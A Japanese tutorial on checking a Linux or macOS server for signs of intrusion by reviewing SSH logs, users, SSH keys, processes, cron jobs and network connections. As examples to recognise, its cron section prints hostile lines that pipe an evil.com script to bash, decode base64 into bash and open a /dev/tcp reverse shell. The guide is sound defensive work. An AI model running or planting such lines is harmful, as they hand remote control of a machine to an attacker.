はじめに:「完璧に守る」ではなく「確認できる」

セキュリティの話になると、多くのエンジニアがこう感じる。

「正直、よくわからないし、怖い」

AWS の設定を変えるとき、SSH で本番サーバーに入るとき、「これ大丈夫かな…」という不安がつきまとう。

でも、その 「ビビリ」は才能 です。

セキュリティを甘く見る人より、不安を感じる人のほうがずっと向いている。問題は「不安の正体がわからない」ことであって、確認方法を知れば、その不安は 安心 に変わる。

この記事は「攻撃する方法」を教えるものではない。

「壊れていないことを確認する方法」 を伝える記事だ。

読み終わったとき、あなたは自分のサーバーを見て「大丈夫だな」と言えるようになる。

この記事の対応OS

OS 対応状況
Linux (Ubuntu/Debian/RHEL/CentOS) ✅ メイン対象
macOS ✅ 対応(コマンド併記)
Windows ❌ 対象外

Note: macOSはBSD系UNIXベースのため、多くのコマンドがLinuxと共通です。異なる部分は 🍎 macOS として併記しています。


1. まず知るべきLinuxセキュリティの全体像

1.1 攻撃者はどこから入ってくるのか

サーバーセキュリティを考えるとき、まず「どこが狙われるのか」を知っておく必要がある。 これを Attack Surface(攻撃面) と呼ぶ。

    flowchart TD
    subgraph Internet["🌐 インターネット"]
        Attacker[攻撃者]
    end

    subgraph EntryPoints["侵入経路"]
        SSH[SSH<br>22番ポート]
        Web[Webアプリ<br>80/443番]
        API[API/その他<br>公開ポート]
        Vuln[脆弱性のある<br>ミドルウェア]
    end

    subgraph LinuxServer["🐧 Linux サーバー"]
        OS[Linux OS]
        Users[ユーザーアカウント]
        Files[ファイルシステム]
        Process[プロセス]
        Network[ネットワーク通信]
    end

    subgraph Assets["守るべき資産"]
        Data[顧客データ]
        Creds[認証情報]
        Source[ソースコード]
        Compute[計算リソース]
    end

    Attacker --> SSH
    Attacker --> Web
    Attacker --> API
    Attacker --> Vuln

    SSH --> OS
    Web --> OS
    API --> OS
    Vuln --> OS

    OS --> Users
    OS --> Files
    OS --> Process
    OS --> Network

    Users --> Data
    Files --> Creds
    Process --> Source
    Network --> Compute

    style Attacker fill:#ff6b6b,color:#fff
    style SSH fill:#ffd43b,color:#000
    style Web fill:#ffd43b,color:#000
    style API fill:#ffd43b,color:#000
    style Vuln fill:#ffd43b,color:#000
    style Data fill:#51cf66,color:#fff
    style Creds fill:#51cf66,color:#fff
  

1.2 よくある侵入経路

経路 狙われる理由 対策の基本
SSH パスワード認証が有効だと総当たり可能 鍵認証のみ、fail2ban
Webアプリ SQLi, XSS, RCE など WAF、入力検証、アップデート
公開ポート 不要なポートが開いている firewall、最小限のポート
ミドルウェア 古いバージョンの脆弱性 定期的なアップデート

重要なポイント: 攻撃者は「見つけやすいところ」から狙う。特別なサーバーを狙うわけではなく、自動スキャンで「入れるところ」を探している。


2. 侵入された場合、Linuxには何が残るのか

2.1 侵入は「痕跡ゼロ」では終わらない

映画のハッカーのように「痕跡を一切残さない」のは、現実にはかなり難しい。

ほとんどの侵入では、以下のいずれかが残る:

侵入後に残る痕跡

カテゴリ 痕跡の種類
📝 ログ SSH認証ログ、システムログ、Webアクセスログ
👤 ユーザー・権限 新規ユーザー作成、sudo権限の追加、SSH公開鍵の追加
⚙️ プロセス 不審なプロセス、cron/systemdへの登録
📁 ファイル 実行ファイルの改変、バックドアスクリプト
🌐 通信 外向き通信、見覚えのないポート

2.2 なぜ痕跡が残るのか

  • ログを完全に消すには root 権限が必要(そこまで到達していないことも多い)
  • 永続化(再起動後も動き続ける仕組み)には設定変更が必要
  • 完璧に隠すより「目的を達成する」ほうが優先される

つまり: 確認すれば、多くの場合「異常があれば気づける」。


3. まず確認すべきログ(最重要)

ログは「サーバーの記憶」だ。何が起きたかを知る最も確実な方法。

3.1 SSH認証ログ

場所:

  • Linux: /var/log/auth.log(Ubuntu/Debian)または /var/log/secure(RHEL/CentOS)
  • macOS: /var/log/system.log または log showコマンド
    # 🐧 Linux: 直近のSSHログイン履歴を確認
grep "Accepted" /var/log/auth.log | tail -20

# 🐧 Linux: 失敗したログイン試行を確認(総当たり攻撃の痕跡)
grep "Failed password" /var/log/auth.log | tail -20

# 🍎 macOS: SSHログイン履歴を確認
log show --predicate 'process == "sshd"' --last 1h

# 🍎 macOS: 認証関連のログを確認
log show --predicate 'eventMessage contains "authentication"' --last 1h

# 🐧🍎 共通: 特定ユーザーのログイン履歴
last | head -20

# 🐧🍎 共通: 現在ログイン中のユーザー
who
w
  

チェックポイント

    ## SSH認証ログ確認チェックリスト

- [ ] 見覚えのないIPアドレスからのログイン成功がないか
- [ ] 深夜・休日の不審な時間帯のログインがないか
- [ ] 存在しないはずのユーザー名でのログイン試行がないか
- [ ] 大量の失敗ログイン(総当たり攻撃の兆候)がないか
- [ ] `last` コマンドで自分の記憶と一致するか
  

🚨 この結果が出たらヤバい

出力例 危険度 意味 対応
Accepted password for root from 45.33.32.156 🔴 見知らぬIPからrootログイン成功 即座にパスワード変更、侵入調査
Accepted password for admin from ... 🔴 存在しないはずのユーザーでログイン 侵入された可能性大
Failed password for root (15000 times) 🟡 総当たり攻撃を受けている fail2ban導入、rootログイン禁止
Accepted publickey for user from 自分のIP 🟢 正常(自分のログイン) 問題なし
    # 🟢 正常な例(自分のログイン)
Jan 10 10:15:32 server sshd[1234]: Accepted publickey for yasuhisa from 203.0.113.10 port 54321
#                                  ^^^^^^^^^ 鍵認証   ^^^^^^^^ 自分   ^^^^^^^^^^^^^ 自分のIP

# 🔴 ヤバい例1: 見知らぬIPからのログイン成功
Jan 10 03:42:18 server sshd[9999]: Accepted password for yasuhisa from 45.33.32.156 port 12345
#               ^^^^^ 深夜3時    ^^^^^^^^ パスワード認証              ^^^^^^^^^^^^^ 知らないIP

# 🔴 ヤバい例2: 存在しないユーザーでログイン成功
Jan 10 14:22:01 server sshd[8888]: Accepted password for admin from 192.168.1.100
#                                                        ^^^^^ このユーザー作った覚えない

# 🟡 注意が必要: 大量の失敗ログイン(総当たり攻撃)
Jan 10 02:00:01 server sshd[1111]: Failed password for root from 185.234.xx.xx
Jan 10 02:00:02 server sshd[1112]: Failed password for root from 185.234.xx.xx
# ↑ これが数千〜数万行続いていたら攻撃を受けている
  

見るべきポイント:

  • Accepted = ログイン成功(成功が問題)
  • Failed = ログイン失敗(大量なら攻撃の兆候)
  • password = パスワード認証(鍵認証より危険)
  • publickey = 鍵認証(正常)
  • 時刻とIPアドレスが自分の記憶と一致するか

3.2 システムログ

場所:

  • Linux: /var/log/syslog または /var/log/messages
  • macOS: /var/log/system.log または log showコマンド
    # 🐧 Linux: 直近のシステムログを確認
tail -100 /var/log/syslog

# 🐧 Linux: 特定キーワードで検索
grep -i "error\|warning\|fail" /var/log/syslog | tail -50

# 🐧 Linux: journalctl(systemd環境)
journalctl -p err -b  # 今回起動後のエラーのみ
journalctl --since "1 hour ago"

# 🍎 macOS: システムログを確認
log show --last 1h --predicate 'messageType == error'

# 🍎 macOS: 特定プロセスのログ
log show --last 1h --predicate 'process == "kernel"'

# 🍎 macOS: 従来のシステムログ
tail -100 /var/log/system.log
  

3.3 Webサーバーログ

場所: /var/log/nginx/ または /var/log/apache2/

    # 不審なアクセスパターンを確認
# SQLインジェクション試行
grep -E "union.*select|'.*or.*'|--" /var/log/nginx/access.log

# ディレクトリトラバーサル試行
grep -E "\.\./" /var/log/nginx/access.log

# 404エラーの異常な量(スキャンの兆候)
grep " 404 " /var/log/nginx/access.log | wc -l
  

4. ユーザー・権限周りの確認

侵入者が「また入れる」ようにするため、ユーザーや権限を変更することがある。

4.1 ユーザー一覧の確認

    # 🐧🍎 共通: 全ユーザー一覧
cat /etc/passwd

# 🐧🍎 共通: ログイン可能なユーザー(シェルが設定されている)
grep -v "nologin\|false" /etc/passwd

# 🐧🍎 共通: UID 0(root権限)を持つユーザー
awk -F: '$3 == 0 {print $1}' /etc/passwd

# 🐧 Linux: 最近作成されたユーザー
ls -lt /home/

# 🍎 macOS: ユーザー一覧(GUIユーザー含む)
dscl . list /Users | grep -v "^_"

# 🍎 macOS: ユーザーの詳細情報
dscl . -read /Users/username
  

🚨 この結果が出たらヤバい

cat /etc/passwd の結果:

    # 🟢 正常: 一般的なシステムユーザー
root:x:0:0:root:/root:/bin/bash
yasuhisa:x:1000:1000::/home/yasuhisa:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

# 🔴 ヤバい例1: 見覚えのないユーザー
hacker:x:1001:1001::/home/hacker:/bin/bash
#^^^^^^ このユーザー作った覚えがない

# 🔴 ヤバい例2: root以外にUID 0のユーザー
toor:x:0:0::/root:/bin/bash
#    ^^^ UID 0 = root権限を持つ別名ユーザー(バックドア)

# 🔴 ヤバい例3: システムユーザーにシェルが設定されている
www-data:x:33:33:www-data:/var/www:/bin/bash
#                                  ^^^^^^^^^ 本来は /usr/sbin/nologin のはず
  
出力パターン 危険度 意味 対応
見覚えのないユーザー名 🔴 攻撃者がユーザーを作成した ユーザー削除、侵入経路調査
UID 0 が root 以外にいる 🔴 root権限のバックドアユーザー 即座に削除、全面調査
システムユーザーに /bin/bash 🟡 ログイン可能になっている nologin に戻す
/home に見覚えのないディレクトリ 🔴 ユーザーが作成された痕跡 中身を確認、削除

4.2 sudo権限の確認

    # 🐧 Linux: sudoグループのメンバー
grep -E "^sudo|^wheel" /etc/group

# 🍎 macOS: admin グループのメンバー(sudo権限あり)
dscl . -read /Groups/admin GroupMembership

# 🐧🍎 共通: sudoersファイルの確認
sudo cat /etc/sudoers
sudo ls -la /etc/sudoers.d/

# 🐧 Linux: 最近のsudo使用履歴
grep "sudo" /var/log/auth.log | tail -20

# 🍎 macOS: 最近のsudo使用履歴
log show --predicate 'process == "sudo"' --last 1h
  

4.3 SSH公開鍵の確認

    # 各ユーザーのauthorized_keysを確認
for user in $(ls /home); do
  echo "=== $user ==="
  cat /home/$user/.ssh/authorized_keys 2>/dev/null
done

# rootのauthorized_keys
cat /root/.ssh/authorized_keys 2>/dev/null
  

🚨 この結果が出たらヤバい

cat ~/.ssh/authorized_keys の結果:

    # 🟢 正常: 自分の鍵(末尾のコメントで判別)
ssh-rsa AAAAB3NzaC1yc2EAAA... yasuhisa@my-macbook
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5... yasuhisa@work-laptop

# 🔴 ヤバい例1: 見覚えのない鍵が追加されている
ssh-rsa AAAAB3NzaC1yc2EAAA... unknown@kali-linux
#                            ^^^^^^^^^^^^^^^^^ 見覚えのないコメント

# 🔴 ヤバい例2: コメントなしの鍵(攻撃者が追加した可能性)
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...
# ↑ 末尾にコメントがない = 誰が追加したか不明

# 🔴 ヤバい例3: rootに知らない鍵がある
# /root/.ssh/authorized_keys に見覚えのない鍵
  
出力パターン 危険度 意味 対応
見覚えのないコメントの鍵 🔴 攻撃者がSSH鍵を追加した その行を削除、侵入経路調査
コメントなしの鍵 🟡 誰が追加したか不明 自分の鍵か確認、不明なら削除
rootに知らない鍵 🔴 root権限でいつでも侵入可能 即座に削除
鍵の数が増えている 🟡 追加された可能性 全ての鍵を確認

見るべきポイント:

  • 末尾のコメント(user@hostname)が自分のものか
  • 鍵の数が記憶と一致するか
  • authorized_keysの更新日時(ls -la ~/.ssh/

5. プロセス・常駐プログラムの確認

侵入後、攻撃者は「永続化」を図ることが多い。サーバーを再起動しても動き続ける仕組みを作る。

5.1 侵入後の永続化ポイント

    flowchart LR
    subgraph Intrusion["侵入成功後"]
        A[初期アクセス獲得]
    end

    subgraph Persistence["永続化手法"]
        B[cron登録]
        C[systemd登録]
        D[SSH鍵追加]
        E[ユーザー作成]
        F[initスクリプト改変]
        G[シェルrc改変]
    end

    subgraph Impact["影響"]
        H[再起動後も動作継続]
        I[定期的に実行]
        J[いつでも再侵入可能]
    end

    A --> B
    A --> C
    A --> D
    A --> E
    A --> F
    A --> G

    B --> I
    C --> H
    D --> J
    E --> J
    F --> H
    G --> H

    style A fill:#ff6b6b,color:#fff
    style B fill:#ffd43b,color:#000
    style C fill:#ffd43b,color:#000
    style D fill:#ffd43b,color:#000
    style E fill:#ffd43b,color:#000
    style F fill:#ffd43b,color:#000
    style G fill:#ffd43b,color:#000
  

5.2 実行中プロセスの確認

    # 🐧🍎 共通: 全プロセス一覧
ps aux

# 🐧 Linux: ツリー形式で親子関係を確認
ps auxf

# 🍎 macOS: ツリー形式で親子関係を確認
pstree  # brew install pstree が必要

# 🐧🍎 共通: 特定ユーザーのプロセス
ps -u root

# 🐧 Linux: CPU/メモリ使用率が高いプロセス
top -b -n 1 | head -20

# 🍎 macOS: CPU/メモリ使用率が高いプロセス
top -l 1 | head -20

# 🐧🍎 共通: 見覚えのないプロセスを探す
ps aux | grep -v "root\|_" | head -30
  

🚨 この結果が出たらヤバい

ps aux の結果:

    # 🟢 正常: 一般的なプロセス
root      1234  0.0  0.1  nginx: master process
www-data  1235  0.0  0.2  nginx: worker process
mysql     2345  0.5  5.0  /usr/sbin/mysqld
yasuhisa  3456  0.0  0.1  sshd: yasuhisa@pts/0

# 🔴 ヤバい例1: 不審な名前のプロセス
root      6666  99.0  0.1  ./xmrig
#                          ^^^^^^ 暗号通貨マイナー

# 🔴 ヤバい例2: 隠そうとしているプロセス名
root      7777  0.0  0.1  [kworker/0:0]
#                          実際はカーネルスレッドではない偽装

# 🔴 ヤバい例3: /tmp から実行されているプロセス
nobody    8888  0.0  0.1  /tmp/.hidden/backdoor
#                         ^^^^ /tmp から実行 = 怪しい

# 🔴 ヤバい例4: 削除されたバイナリを実行中
root      9999  0.0  0.1  /usr/bin/something (deleted)
#                                            ^^^^^^^^^ バイナリが削除されている

# 🟡 注意: 見覚えのないスクリプト実行
root      1111  0.0  0.1  python /var/tmp/update.py
#                                 ^^^^^^^^ このスクリプト何?
  
出力パターン 危険度 意味 対応
xmrig, minerd などの名前 🔴 暗号通貨マイナー プロセス停止、侵入経路調査
/tmp/var/tmp から実行 🔴 一時ディレクトリからの実行は異常 プロセス停止、ファイル確認
(deleted) と表示 🔴 実行ファイルが削除済み(証拠隠滅) 即座に調査
CPU 100% のプロセス 🟡 マイナーか暴走プロセス 内容を確認
見覚えのないプロセス名 🟡 調査が必要 ls -la /proc/PID/exe で実体確認

調査コマンド:

    # プロセスの実行ファイルを確認
ls -la /proc/<PID>/exe

# プロセスが開いているファイルを確認
ls -la /proc/<PID>/fd/

# プロセスの起動コマンドを確認
cat /proc/<PID>/cmdline | tr '\0' ' '
  

5.3 cronの確認

    # 🐧 Linux: システムcron
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/

# 🐧 Linux: ユーザーcron
for user in $(cut -d: -f1 /etc/passwd); do
  crontab -l -u $user 2>/dev/null && echo "^^^ $user's crontab ^^^"
done

# 🍎 macOS: 現在のユーザーのcron
crontab -l

# 🍎 macOS: LaunchAgents/LaunchDaemons(macOS版の自動起動)
ls -la ~/Library/LaunchAgents/
ls -la /Library/LaunchAgents/
ls -la /Library/LaunchDaemons/
ls -la /System/Library/LaunchDaemons/
  

5.4 systemdサービスの確認(Linux)/ launchd(macOS)

    # 🐧 Linux: 有効なサービス一覧
systemctl list-unit-files --state=enabled

# 🐧 Linux: 実行中のサービス
systemctl list-units --type=service --state=running

# 🐧 Linux: 最近追加されたサービスファイル
ls -lt /etc/systemd/system/*.service 2>/dev/null | head -10
ls -lt /lib/systemd/system/*.service 2>/dev/null | head -10

# 🍎 macOS: 実行中のサービス一覧
launchctl list

# 🍎 macOS: 特定のLaunchDaemonの状態確認
launchctl print system/com.apple.xxx
  

🚨 この結果が出たらヤバい

crontab -l/etc/crontab の結果:

    # 🟢 正常: 一般的なcronジョブ
0 2 * * * /usr/bin/certbot renew  # 証明書更新
0 * * * * /usr/local/bin/backup.sh  # バックアップ

# 🔴 ヤバい例1: 外部からスクリプトをダウンロード・実行
*/5 * * * * curl http://evil.com/script.sh | bash
#           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 外部スクリプト実行

# 🔴 ヤバい例2: /tmp から実行
@reboot /tmp/.hidden/backdoor
#       ^^^^^^^^^^^^^^^^^^^^^ /tmpから起動時実行

# 🔴 ヤバい例3: Base64エンコードされたコマンド
* * * * * echo "YmFzaCAtaSA+..." | base64 -d | bash
#         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 難読化されている

# 🔴 ヤバい例4: リバースシェル
*/10 * * * * bash -i >& /dev/tcp/1.2.3.4/4444 0>&1
#            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 外部への接続
  

macOS LaunchAgents/Daemons:

    # 🔴 ヤバい例: 見覚えのないplistファイル
/Library/LaunchDaemons/com.update.helper.plist
#                      ^^^^^^^^^^^^^^^^^^^ システムっぽい名前だが見覚えがない
  
出力パターン 危険度 意味 対応
curl ... | bash 🔴 外部スクリプトをダウンロード実行 即座に削除、調査
/tmp/var/tmp のパス 🔴 一時ディレクトリから永続実行 エントリ削除、ファイル確認
base64 でエンコード 🔴 コマンドを隠している デコードして内容確認
/dev/tcp/ 🔴 リバースシェル(外部接続) 即座に削除、ネットワーク遮断
見覚えのないLaunchDaemon 🔴 永続化バックドア plist削除、起動プログラム確認
短い間隔(*/1など)で実行 🟡 頻繁に何かを実行 内容を確認

6. ファイル改変・バックドアの確認

6.1 最近更新されたファイル

    # 過去24時間に更新されたファイル(システムディレクトリ)
find /usr/bin /usr/sbin /bin /sbin -mtime -1 -type f 2>/dev/null

# 過去7日間に更新された設定ファイル
find /etc -mtime -7 -type f 2>/dev/null

# 特定ディレクトリの最近更新されたファイル
ls -lt /var/www/html/ | head -20
  

6.2 不審な場所のチェック

    # /tmp, /var/tmp の実行ファイル(普通は置かない)
find /tmp /var/tmp -type f -executable 2>/dev/null

# 隠しファイル
find /tmp /var/tmp -name ".*" -type f 2>/dev/null

# Webディレクトリの不審なファイル
find /var/www -name "*.php" -mtime -7 2>/dev/null
find /var/www -name "*.sh" 2>/dev/null
  

6.3 SUID/SGIDファイルの確認

    # SUIDビットが立っているファイル(権限昇格に使われる可能性)
find / -perm -4000 -type f 2>/dev/null

# 一般的なSUIDファイルと比較して、見覚えのないものがないか確認
  

7. ネットワーク通信の確認

侵入後、外部への通信(C2サーバーへの接続、データ送信)が発生することがある。

7.1 開いているポートの確認

    # 🐧 Linux: リッスンしているポート一覧
ss -tlnp
# または
netstat -tlnp

# 🍎 macOS: リッスンしているポート一覧
lsof -i -P | grep LISTEN
# または
netstat -an | grep LISTEN

# 🐧 Linux: すべての接続(ESTABLISHED含む)
ss -anp

# 🍎 macOS: すべての接続
lsof -i -P
netstat -an
  

7.2 外向き通信の確認

    # 🐧 Linux: 確立されている外部接続
ss -tnp | grep ESTAB

# 🍎 macOS: 確立されている外部接続
lsof -i -P | grep ESTABLISHED
netstat -an | grep ESTABLISHED

# 🐧 Linux: 接続先IPアドレスの一覧
ss -tn | awk 'NR>1 {print $5}' | cut -d: -f1 | sort -u

# 🍎 macOS: 接続先IPアドレスの一覧
netstat -an | grep ESTABLISHED | awk '{print $5}' | cut -d. -f1-4 | sort -u
  

🚨 この結果が出たらヤバい

ss -tlnp / lsof -i -P | grep LISTEN の結果:

    # 🟢 正常: 一般的なリッスンポート
*:22     LISTEN   sshd        # SSH
*:80     LISTEN   nginx       # HTTP
*:443    LISTEN   nginx       # HTTPS
127.0.0.1:3306  LISTEN  mysqld  # MySQL(ローカルのみ)

# 🔴 ヤバい例1: 見覚えのないポートが開いている
*:4444   LISTEN   nc          # netcat が待ち受けている
#        ^^^^^^   ^^ バックドアの典型的なパターン

# 🔴 ヤバい例2: 見覚えのないプロセスがリッスン
*:8888   LISTEN   ./update    # 怪しい名前のプロセス

# 🔴 ヤバい例3: 内部向けのはずのポートが全体公開
*:3306   LISTEN   mysqld      # MySQLが 0.0.0.0 で公開されている
#^ ローカルホストではなく全インターフェース
  

ss -tnp | grep ESTAB の結果:

    # 🟢 正常: 既知のサービスへの接続
ESTAB  192.168.1.10:443   → 151.101.1.140:443   # GitHubへのHTTPS
ESTAB  192.168.1.10:22    ← 203.0.113.10:54321  # 自分からのSSH接続

# 🔴 ヤバい例1: 見覚えのないIPへの接続
ESTAB  192.168.1.10:54321 → 45.33.32.156:4444   # 謎のIPの4444番ポート
#                           ^^^^^^^^^^^^:^^^^^ C2サーバーへの接続の可能性

# 🔴 ヤバい例2: IRCポートへの接続
ESTAB  192.168.1.10:12345 → 1.2.3.4:6667        # IRC(ボットネット)
#                                  ^^^^ IRCポート

# 🔴 ヤバい例3: 大量の外部接続
# 同じIPへの接続が何十本もある → スパム送信やDDoS参加の可能性
  
出力パターン 危険度 意味 対応
ncncat がリッスン 🔴 バックドアの典型 プロセス停止、侵入経路調査
4444, 5555 など特徴的なポート 🔴 一般的なバックドアポート 即座に調査
見覚えのないIPへの ESTAB 接続 🔴 C2サーバーへの接続かも IPを調査、プロセス特定
ポート 6667 (IRC) への接続 🔴 ボットネット参加の可能性 即座に遮断・調査
MySQLなどが 0.0.0.0 でリッスン 🟡 外部からアクセス可能 設定見直し

調査コマンド:

    # そのポートを使っているプロセスを特定
lsof -i :4444

# そのIPアドレスを調査
whois 45.33.32.156
nslookup 45.33.32.156

# 接続しているプロセスを特定
ss -tnp | grep "45.33.32.156"
  

7.3 ファイアウォール設定の確認

    # 🐧 Linux: iptables
sudo iptables -L -n -v

# 🐧 Linux: ufw(Ubuntu)
sudo ufw status verbose

# 🐧 Linux: firewalld(RHEL/CentOS)
sudo firewall-cmd --list-all

# 🍎 macOS: ファイアウォール状態確認
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate

# 🍎 macOS: ファイアウォール許可アプリ一覧
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --listapps

# 🍎 macOS: pfファイアウォール(詳細)
sudo pfctl -sr
  

チェックポイント

    ## ネットワーク確認チェックリスト

- [ ] 想定外のポートがリッスンしていないか
- [ ] 見覚えのない外部IPへの接続がないか
- [ ] ファイアウォールが有効になっているか
- [ ] 不要なポートがブロックされているか
  

8. 「侵入されていない」と判断してよいライン

ここまでの確認を行って、以下がすべて該当すれば「合理的に安全」と判断できる。

✅ 安全と判断できる条件

カテゴリ 確認項目
📝 ログ SSHログインが自分の記憶と一致
📝 ログ 失敗ログインが異常に多くない
📝 ログ システムログにクリティカルな異常なし
👤 ユーザー・権限 知らないユーザーがいない
👤 ユーザー・権限 sudo権限が想定通り
👤 ユーザー・権限 SSH公開鍵が自分のものだけ
⚙️ プロセス 不審なプロセスがない
⚙️ プロセス cron/systemdに見覚えのないものがない
📁 ファイル システムファイルが最近更新されていない
📁 ファイル /tmp等に不審なファイルがない
🌐 ネットワーク 想定外のポートが開いていない
🌐 ネットワーク 不審な外部通信がない

重要な心構え

「100%安全」は存在しない。 でも、上記をすべて確認できれば「合理的に安全と判断できる」状態だ。

「不安」は「確認不足」のサイン。確認すれば安心に変わる。


9. Webエンジニアが最低限学ぶべきセキュリティ基礎

9.1 最小権限の原則

    # 悪い例:すべてroot権限で作業
sudo su -
# ずっとrootのまま...

# 良い例:必要な時だけsudo
sudo systemctl restart nginx
  
  • アプリケーションは専用ユーザーで動かす
  • root権限は必要な時だけ使う
  • ファイル権限は必要最小限に

9.2 ログを見る習慣

週1回でもいいから、ログを見る習慣をつける。

    # 簡易ヘルスチェックスクリプト例
#!/bin/bash
echo "=== SSH認証ログ(直近の成功)==="
grep "Accepted" /var/log/auth.log | tail -5

echo -e "\n=== 失敗ログイン数 ==="
grep "Failed password" /var/log/auth.log | wc -l

echo -e "\n=== 現在のログインユーザー ==="
who

echo -e "\n=== リッスン中のポート ==="
ss -tlnp
  

9.3 変更点を記録する

    # サーバーに変更を加えたら記録
echo "$(date): nginx設定変更、SSL証明書更新" >> ~/server-changelog.txt
  

何をしたか覚えていないと、「これ自分がやったっけ?」という不安が増える。

9.4 仕組みで防ぐ

人間の注意力に頼らない。ツールで自動化する。

    # fail2ban:SSH総当たり攻撃を自動ブロック
sudo apt install fail2ban
sudo systemctl enable fail2ban

# ufw:シンプルなファイアウォール
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow ssh
sudo ufw allow http
sudo ufw allow https
sudo ufw enable
  

9.5 「不安=確認不足」という理解

不安の種類 確認方法
誰かにログインされた? last, /var/log/auth.log
変なプロセス動いてる? ps aux, top
ポート開いてる? ss -tlnp
ファイル改ざん? find -mtime, ls -lt

不安を感じたら、対応する確認コマンドを実行する。それだけで安心できる。


10. まとめ:セキュリティは才能ではなく構造理解

この記事で学んだこと

# ポイント 詳細
1 攻撃面(Attack Surface)の把握 どこから入られる可能性があるかを知る
2 侵入の痕跡は残る ログ・ユーザー・プロセス・ファイル・通信
3 確認方法を知っていれば怖くない 具体的なコマンドとチェックポイント
4 「100%安全」ではなく「合理的に安全」を目指す 確認できることをすべて確認する
5 ビビリはセキュリティに向いている 不安を感じる人は確認する動機がある

最後に

Linuxサーバーは「調べられる」から怖くない。

「なんとなく不安」を「確認したから大丈夫」に変える。それがセキュリティの第一歩だ。

この記事のコマンドをブックマークしておいて、不安になったら実行してみてほしい。きっと「あ、大丈夫だ」と思えるはずだ。

そして、その 「大丈夫」を自分で確認できる こと自体が、エンジニアとしての大きな成長だ。


付録:クイックチェックスクリプト

以下のスクリプトを定期的に実行すると、簡易的なセキュリティチェックができる。

    #!/bin/bash
# security-quick-check.sh

echo "====================================="
echo "Linux Security Quick Check"
echo "$(date)"
echo "====================================="

echo -e "\n[1] 最近のSSHログイン成功"
grep "Accepted" /var/log/auth.log 2>/dev/null | tail -5 || \
grep "Accepted" /var/log/secure 2>/dev/null | tail -5

echo -e "\n[2] 失敗ログイン数(過去24時間)"
grep "Failed password" /var/log/auth.log 2>/dev/null | \
  grep "$(date -d '1 day ago' '+%b %d')\|$(date '+%b %d')" | wc -l

echo -e "\n[3] 現在ログイン中のユーザー"
who

echo -e "\n[4] UID 0のユーザー(rootのみが正常)"
awk -F: '$3 == 0 {print $1}' /etc/passwd

echo -e "\n[5] リッスン中のポート"
ss -tlnp 2>/dev/null | grep LISTEN

echo -e "\n[6] 外部への確立済み接続"
ss -tnp 2>/dev/null | grep ESTAB | head -10

echo -e "\n[7] CPU使用率上位プロセス"
ps aux --sort=-%cpu | head -6

echo -e "\n[8] /tmp内の実行ファイル"
find /tmp -type f -executable 2>/dev/null

echo -e "\n====================================="
echo "Check completed"
echo "====================================="
  

使い方:

    # スクリプトを保存
vim ~/security-quick-check.sh

# 実行権限を付与
chmod +x ~/security-quick-check.sh

# 実行
sudo ~/security-quick-check.sh
  

参考リンク